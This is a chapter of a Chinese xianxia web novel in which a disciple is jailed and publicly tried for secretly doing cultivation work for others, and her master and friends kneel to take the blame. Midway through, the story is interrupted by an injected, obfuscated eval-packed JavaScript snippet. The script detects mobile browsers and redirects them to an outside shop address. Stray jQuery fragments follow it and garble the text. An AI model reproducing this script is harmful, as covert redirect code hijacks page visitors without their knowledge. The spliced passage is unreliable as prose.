32. 审讯

作品:《咸鱼修仙被迫内卷

    无咎牢里一片昏暗,弥漫着似有若无的腥臭味,时不时有人发出痛苦的低吟,然而却没有引起看守半分的怜悯。


    因为这里关押的,都是严重违反剑宗门规的弟子。


    剑宗一向视门规如标尺,对于犯了错的弟子自然不会假以辞色。


    郁青卿就被关在其中的一间,好消息是,谢见山和她关在一起,坏消息是,这里不见天日,也无人供食,她已经不知时间过去了多久,也感到身体变得愈来愈虚弱。


    修士虽然可以辟谷,但这极限却与修为有关,元婴级别的修士几十年不吃东西都可以,但她只不过是个筑基,隔一段时间仍需进食。


    那天他们被捉拿之后,堂主却并没有急着审讯他们,郁青卿猜测可能跟大比收尾有关系,因为她隐约听到看守说,要举行一个公开的审讯决定她最终的惩罚,届时,长老和宗主都会到场。


    她默默缩在牢里,一边等待着自己的死期,一边思考,事情到底是怎么变成这样的。


    代练这件事她连师姐和李酒都没告诉,陈念那边,郁青卿还是相信这个师姐的,除此之外她认识的人屈指可数,那还能有谁知道呢?


    代练这件事在整个宗门确实处于灰色地带,剑宗明令禁止不允许代练,然而当初她走投无路,除此之外别无他法,即便重来一次,她可能还是会这么做,但她现在就是……


    就是,有点绝望。


    眼看着傀儡峰好起来了,她还拿下一个不错的排名,有了奖励,想和朋友们一起庆祝,结果却出现这档子事,不知道会不会对韩禅有影响,如果有,就连这点前功也尽废了。


    郁青卿想到这里,痛苦地把头埋在膝盖上。


    片刻后,有什么东西盖住她的肩膀。


    谢见山扯了扯这茅草做的简陋披风,用它裹住郁青卿全身。


    这几日郁青卿心竭身虚,谢见山却依旧安之若素。两人关在一间狭窄的牢房,只有一堆茅草可躺。


    结果他不仅把茅草整顿了一番,让郁青卿可以躺的更舒服,还拿自己的那片茅草做了个披风。感受到凉意时便知道入夜了,这时候就取出来给她披上。


    托他的福,郁青卿才没有在萎靡饥饿之外还染上风寒。


    谢见山整理完放下手,郁青卿撇开披风上支出来的、戳在脸上的茅草,整个人往他身上靠。


    现在这个情况,只有他们两人相依为命了。


    “为什么你一点都不害怕,也不失落?”


    谢见山往下缩了缩,压低肩膀:“害怕什么?失落什么?”


    “也是,”郁青卿点点头,“你这么厉害的人,恐怕不至于沦落至此。”


    “厉害?”却听谢见山冷笑一声,“我如果真的足够厉害,还会成为你的傀儡?”


    郁青卿眨眨眼。


    对哦,他到现在都还只是一个残魂。


    看到郁青卿那双好奇放光的眼睛,谢见山就知道自己失言了。


    他本不想暴露太多自己的事,但转念又一想,这未必不是一次可以试探郁青卿的身份。


    谢见山侧过脸,他的眼形狭长,还有点下三白,平视的时候总觉得凶相,垂眼看人的时候却柔和许多,睫毛又长又直,耸拉在眼尾,瞳色浓黑如漆,宛若沉水深井。


    他带着一点逡巡的目光扫过郁青卿的脸,同时缓缓开口:“曾经,因为一些事,我被所有的人排斥,有人厌我,有人恨我,还有人想杀我。”


    “我一路逃命,四处躲藏,睡不了一天安生的觉,每天闭上眼就害怕自己再睁不开。”


    他拍拍郁青卿身上的披风。


    “而现在,至少还有地可睡。”


    所以,生死之外,什么事都不是大事。


    郁青卿听得呆滞了半晌。


    虽然只是寥寥几句,但她隐约也能窥探出背后的腥风血雨,其间究竟多少波折,他才成为如今一缕残魂。


    难怪他如此从容,现在郁青卿甚至都不觉得她这些事儿算什么麻烦了。


    谢见山扫视着那张怔住的脸庞,半晌后收回目光。


    看来,她是真的不知道他的过去。


    那么,他是不是可以理解为,她不是他的仇敌?


    想到这里,谢见山竟然不自觉松了口气,连他自己察觉到时都有些惊讶。


    他想要追根究底,但直觉却紧急将他拉回,好似避免让他陷入某种不可预知,也不愿承认的漩涡。


    无论如何,至少现在他可以暂时放下心了。


    不知过了几天,终于有人带着郁青卿和谢见山离开。


    许久不见天日,郁青卿出来时还有些不适应,反复眨了好几次眼才能勉强睁开。


    戒律堂内一片安静,日光从门框斜照进来,在地面拉出黄灰色的长影。


    郁青卿看到了许多张熟悉的脸。


    有师父,师姐,师兄,李酒,卫坤,还有沈千宁和陈念,堂外是乌泱泱一片前来围观,神色各异的弟子。堂前坐着戒律堂的堂主,再旁边是······宗主廉尘。


    郁青卿和谢见山被押到堂前跪下,堂主命人将一份签字画押的纸张递到郁青卿眼前。


    “有人举报你私下代刷剑窟,纸上是具体的时间和次数,人证物证俱在,你有什么想说的吗?”


    郁青卿垂头看着那片纸,确实是自己之前某次接的任务,不过因为她代刷太多,已经记不清是具体哪个人。


    她低头沉默不语,算是认下了。


    呆在无咎牢几日,她也算想通了一些事,塞翁失马焉知非福,做过的事没什么可后悔的,她愿意承担一切惩罚,所以,没什么好说的。


    然而她不辩解,有人却替她着急。


    韩禅突然从旁观的位子上站起来,跨过前面的人跪到郁青卿身边。


    戒律堂堂主蹙起眉头:“韩长老这是······”


    韩禅不顾周围人惊诧的目光,朝堂主和廉尘重重磕下一头。


    “师父······!”郁青卿看到韩禅的动作浑身一震,忙想起身,却被身边押送的人按住。


    “师父!师父你这是干什么!一人做事一人当,宗门若要罚我便罚好了!你何必要······师父!”


    “混账!”


    郁青卿挣扎的动作僵住,不敢置信地看着韩禅。


    韩禅却没有再理她,而是转过身又磕了一头。


    “堂主,宗主,你们也见着了,小青年轻气盛,天赋大好,是我身为师父管教不力,才养出一副乖张脾性,我愿承担一切责罚,恳请堂主和宗主能放小青一码,日后我定会严加看管!”


    堂主还未开口,旁边的看客里就传来一声轻笑。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17422969|196669||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    “韩长老这是在傀儡峰呆久了都不晓得宗门的规矩了。”吴明面上透出讥讽的表情,“剑宗一向赏罚分明,哪有徒弟犯了事只罚师父的道理,我看你啊还没有你徒弟脑袋清醒!”


    韩禅咬了咬牙,还欲争辩,却见堂主不耐烦地摆了摆手。


    “韩长老,此事与你无关,请莫要再影响审讯了。”他转头看向一直不语的廉尘,“宗主,您看这处置······”


    廉尘垂眼看着堂下的闹剧,声音冷淡如冰。


    “按照规定,多次干预替代他人修炼者,视为作弊,理应取消弟子身份——”


    “逐出宗门!”


    四个大字一出,所有人面色俱白,即便是看热闹的弟子也不由心头大震。


    韩禅更是惊得语句破碎:“……怎么可能这么严重……宗主,我徒弟……”


    “够了!”


    戒律堂堂主不耐烦地大喝:“韩长老,我是敬你为长老才没多说,你再无端发言干扰戒律堂处置,我便要请人送你离开了!”


    “来人!”


    旁边应声走出一人,欲要带韩禅离开。


    郁青卿听到刚才那声判决,早已是心如死灰,然而看到韩禅为她委曲求全,心中却不由一酸。


    她眨眨眼,强咽下鼻间的酸涩:“师父,没事的,你先去吧……”


    她怕再不阻止韩禅,万一做出什么事又冒犯到宗主,牵连傀儡峰就不好了。


    韩禅挣扎的动作一僵,望着郁青卿惨白的脸,这才进去几天就瘦成这副模样,往后不在自己身边,那还得了。


    不知觉便堕下一滴泪。


    旁边的人拉住她想带走,然而下一瞬,围观的人就出现了动静。


    “请宗主三思!”


    两道人影蓦然从人群中站出。


    如同刚才韩禅所做的那样,跪在了郁青卿旁边,叩首。


    “宗主,韩长老虽是师父,但每日只不过见上一面,若说管教不力知情不报,我们二人才理应受罚!”


    谭照月依旧话少,只伏地叩首:“请宗主责罚!”


    “你……你们!”堂主气得一拍桌案,指着李酒谭照月破口大骂,“你们这是在干扰戒律堂处置!这是谁的弟子?!怎么这点规矩都不懂……”


    “宗主!”


    突然又有一道声音,如碎玉投珠般打断了堂主的话。


    陈念抚抚衣袖,面色平静地走上前。


    旁边一名长老猝然大惊:“小念!”


    陈念顿住脚步,朝那长老拜了拜身。


    “师父,徒弟牵连友人至此,于心有愧,请师父成全。”


    话毕,她上前两步,同样跪在了郁青卿身边。


    “你这又是做什么?!”堂主都快气疯了,这些人是傻子吗?明明无关他们的事还要一个个跑上来找罪受?!


    “堂主息怒,我上前不为他人,是为我自己。”


    陈念挺着腰板,一字一顿开口:“宗门代练之事,全由我一人组织,涉及弟子上千,灵石数万。”


    “我罪该万死,万死不辞。”


    “请宗主责罚!”


    掷地一声,有如惊雷,满室内外无一人喘息。


    堂主瞠目结舌,一张嘴反复开合半晌,才吐出一句。


    “疯了……你们都疯了!”